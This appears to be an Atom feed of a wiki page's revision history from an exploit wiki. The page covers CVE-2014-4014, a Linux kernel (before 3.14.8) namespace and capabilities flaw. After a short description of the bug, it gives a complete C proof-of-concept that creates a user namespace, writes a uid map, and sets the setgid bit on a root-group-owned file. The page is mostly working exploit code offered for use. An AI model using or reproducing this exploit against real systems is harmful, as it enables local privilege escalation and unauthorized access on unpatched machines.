<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2014-4014_Linux_kernel_before_3.14.8_%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2014-4014 Linux kernel before 3.14.8 權限提升漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2014-4014_Linux_kernel_before_3.14.8_%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2014-4014_Linux_kernel_before_3.14.8_%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-26T14:01:28Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2014-4014_Linux_kernel_before_3.14.8_%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;diff=1079&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO== The capabilities implementation in the Linux kernel before 3.14.8 does not properly consider that namespaces are inapplicable to inodes, which allows local users to b...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2014-4014_Linux_kernel_before_3.14.8_%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;diff=1079&amp;oldid=prev"/>
		<updated>2021-04-07T03:33:00Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO== The capabilities implementation in the Linux kernel before 3.14.8 does not properly consider that namespaces are inapplicable to inodes, which allows local users to b...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO==&lt;br /&gt;
The capabilities implementation in the Linux kernel before 3.14.8 does not properly consider that namespaces are inapplicable to inodes, which allows local users to bypass intended chmod restrictions by first creating a user namespace, as demonstrated by setting the setgid bit on a file with group ownership of root.&lt;br /&gt;
&lt;br /&gt;
==cve-2014-4014.c==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/**&lt;br /&gt;
 * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC&lt;br /&gt;
 *&lt;br /&gt;
 * Vitaly Nikolenko&lt;br /&gt;
 * vnik5287@gmail.com&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include &amp;lt;sys/wait.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sched.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;limits.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;assert.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define STACK_SIZE (1024 * 1024)&lt;br /&gt;
static char child_stack[STACK_SIZE];&lt;br /&gt;
&lt;br /&gt;
struct args {&lt;br /&gt;
    int pipe_fd[2];&lt;br /&gt;
    char *file_path;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
static int child(void *arg) {&lt;br /&gt;
    struct args *f_args = (struct args *)arg;&lt;br /&gt;
    char c;&lt;br /&gt;
&lt;br /&gt;
    // close stdout&lt;br /&gt;
    close(f_args-&amp;gt;pipe_fd[1]); &lt;br /&gt;
&lt;br /&gt;
    assert(read(f_args-&amp;gt;pipe_fd[0], &amp;amp;c, 1) == 0);&lt;br /&gt;
&lt;br /&gt;
    // set the setgid bit&lt;br /&gt;
    chmod(f_args-&amp;gt;file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    int fd;&lt;br /&gt;
    pid_t pid;&lt;br /&gt;
    char mapping[1024];&lt;br /&gt;
    char map_file[PATH_MAX];&lt;br /&gt;
    struct args f_args;&lt;br /&gt;
&lt;br /&gt;
    assert(argc == 2);&lt;br /&gt;
&lt;br /&gt;
    f_args.file_path = argv[1];&lt;br /&gt;
    // create a pipe for synching the child and parent&lt;br /&gt;
    assert(pipe(f_args.pipe_fd) != -1);&lt;br /&gt;
&lt;br /&gt;
    pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &amp;amp;f_args);&lt;br /&gt;
    assert(pid != -1);&lt;br /&gt;
&lt;br /&gt;
    // get the current uid outside the namespace&lt;br /&gt;
    snprintf(mapping, 1024, &amp;quot;0 %d 1\n&amp;quot;, getuid()); &lt;br /&gt;
&lt;br /&gt;
    // update uid and gid maps in the child&lt;br /&gt;
    snprintf(map_file, PATH_MAX, &amp;quot;/proc/%ld/uid_map&amp;quot;, (long) pid);&lt;br /&gt;
    fd = open(map_file, O_RDWR); assert(fd != -1);&lt;br /&gt;
&lt;br /&gt;
    assert(write(fd, mapping, strlen(mapping)) == strlen(mapping));&lt;br /&gt;
    close(f_args.pipe_fd[1]);&lt;br /&gt;
&lt;br /&gt;
    assert (waitpid(pid, NULL, 0) != -1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>